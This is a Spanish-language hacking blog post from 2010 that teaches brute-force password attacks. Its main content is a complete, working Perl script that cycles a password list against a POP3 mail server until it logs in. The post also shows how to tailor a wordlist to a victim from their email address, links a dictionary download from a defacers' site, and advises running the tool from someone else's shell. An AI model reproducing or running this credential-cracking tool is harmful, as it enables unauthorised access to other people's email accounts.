diumenge, 26 de setembre del 2010

Ataques BruteForce

Esta vez trataremos los ataques BruteForce un ataque que en algun tiempo

cuando los administradores ( y aun hay :P ) no eran concientes de los riesgos

que corrian al poner passwords faciles de adivinar, la tecnica de Bruteforce

o fuerza Bruta en español es una de las tecnicas de invasion de sistemas mas

antiguas que hay, empezemos...


Cualquier sistema de acceso restringido siempre nos pedira para poder entrar

un usuario y contrase~a, ya sea que tengamos los maximos privilegios como

pueden ser root o admin o una cuenta de usuario sencilla :D, un ataque de

fuerza bruta consiste en intentar obtener acceso por medio de el intento y

el error :)


Cuando el atacante conoce que existe determinado nombre de usuario sea admin

o no ya lleva un buen tramo del camino recorrido, ya que solo le falta

averiguar la contrase~a y es increible como aun hay personas que utilizan

passwords realmente faciles de adivinar algunos ejemplos:


------------------------------------------------------
user: laurita                       user: laurita

password: laurita                   password: 123456
------------------------------------------------------


Debido a la remota posibilidad de obtener el password de una manera sencilla

es muy dificil que alguien quiera hacer este trabajo manualmente a menos que

tengas las ganas para quedarte todo un mes tratando de adivinar la contrase~a

como pendejo.


En este tutorial aprenderemos como usar un programa desarrollado en Perl el

cual nos ayudara a hacer mas rapido este trabajo.



############################################################################

sh-2.05# perl brute.pl ./ Implementando Brute.pl

############################################################################


Primero comenzaremos recaudando informacion del servidor al que nos dispone

mos a entrar, todos estos datos seran necesarios para nuestro script:


------------------------------------------------
- Servidor al que queremos tener acceso

- E-mail del administrador

- Directorio de Diccionario de Contrase~as
------------------------------------------------


Sin embargo te preguntaras de donde obtienes un diccionario de contrase~as,

un pequeño consejo es que podemos sacar mucha informacion del e-mail para

poder hacer nuestro diccionario por ejemplo:

-------------------------------
tuningcareslomaximo@hotmail.com
-------------------------------

Vemos que al chavo le interesan los carros modificados entonces (Solo es un

ejemplo) su contraseña podria estar relacionada con algo referente a los autos

que tal si creamos nuestro archivo:

-----------------------------------------------------------------
contraseñas.txt

Y le metemos el contenido que tenga que ver con autos:

tuning

motor

carros

autos

camionetas

chevymania <------ xD pa los de mexico ya saben a que me refiero

audio

car audio

sparco

nos
------------------------------------------------------------------



Bien como ven es algo facil de hacer nuestra lista pero no siempre ten

dremos exito y no garantizo nada ni siquiera con un diccionario, sin

embargo si gustan probar la url para descargar un diccionario es la

siguiente:


-------------------------------------------------

http://www.defacersmexico.org/tut/Diccionario.zip

-------------------------------------------------


Y buen regresando a nuestro exploit nosotros tambien podemos automatizar

la creacion de nuestro archivo con contraseñas a traves del comando


----------
mkpasswd
----------


Los primeros pasos para crear nuestro programa sera capturar la informa

cion que sea necesario o cancelar la explotacion si faltan argumentos:


Ejecutaremos primeramente:


- Cargar modulos

- Verificar la cantidad de parametros recibidos

- Atribuir parametros a las variables

- Verificar si el archivo de las contrase~as existe



============================================================================

Comenzamos nuestro codigo en Perl


#!/usr/bin/perl
# modified by Status-x

# cargamos los modulos usados por nuestro script
use strict;
use IO::Socket;

if ($#ARGV != 2) {
print "Use: \n\t$0 popserver username passwd_list\n\nDonde:\n";
print "\tpopserver = servidor de email\n\tusername = nombre de usuario\n";
print "\tpasswd_list = archivo con la lista de passwords\n\n";
exit(0);
}

# atribuimos los paramatros a las variables
my ($server,$user,$pwfile) = @ARGV;

if (! -f $pwfile) {
print "Error: $pwfile no es un nombre archivo valido!\n";
exit;
}

============================================================================



Enseguida abriremos nuestro archivo de contrase~as para que lo lea y para

que por cada contrase~a que hayamos colocado use el procedimiento de login:


===============================================

Parte de Login :)

# para que por cada contraseña intente login
open(R,$pwfile);
while (<R>) {
chomp;
tryout($server,$user,$_);
}
close(R);


===============================================


Enseguida pondremos las funciones tryout y readsock


============================================================================

sub tryout {
my ($server,$user,$passwd) = @_;
my $state;

my $connex = new IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => "110",
Proto => "tcp",
Type => SOCK_STREAM,
Timeout => "30"
);

if (!defined($connex)) {
print "Error al conectar al servidor $server ...\n";
exit(0);
}

$state = &readsock($connex);
$connex->send("USER $user\r\n");
$state = &readsock($connex);
if ($state !~ /^\+OK/) { next; }
$connex->send("PASS $passwd\r\n");
$state = &readsock($connex);

if ($state =~ /^\+OK/) {
print "Cracked!!! el password del usuario $user es $passwd\n";
exit;
}

$connex -> close;
sleep(5);
}

sub readsock {
my ($socket) = @_;
my $data = '';
my $buf = '';
while ($buf !~ /\n$/) {
$buf=<$socket>;
$data .= $buf;
}
return $data;
}

=============================================================================


Y listo tenemos nuestro codigo en Perl solo lo juntamos y ya esta, ahora

para poder hacer funcionar nuestro programa simplemente en una shell linux

pondremos lo siguiente:



----------------------------------------------------------------------------------
sh-2.05# perl brutal.pl defacersmexico.org usuario-haxor directorio/archivo/contraseñas.txt
----------------------------------------------------------------------------------


Esta es solo una muestra de ataques de fuerza bruta, sin embargo algunos

programas mas utilizados o de mas "categoria" serian John The Ripper

que es usado algunas veces para descifrar contraseñas encriptadas en

Sistemas UNIX


Les recomiendo usar una shell que sea suya ya que el uso de estas aplicaciones

es restringido ;), aunque tambien pueden usar shells externas



############################################################################

sh-2.05# ./ Herramientas Utilizadas

############################################################################


Las herramientas utilizadas esta vez fueron pocas jejeje, un sistema

Linux para hacer que nuestro programa funcione aunque como les dije pueden

usar una shell externa.


NotePad - para hacer nuestra lista de contraseñas


Diccionario de Palabras - Hay muchos en la red http://astalavista.cc



############################################################################

sh-2.05# ./ Despedida

############################################################################

Cap comentari:

Publica un comentari a l'entrada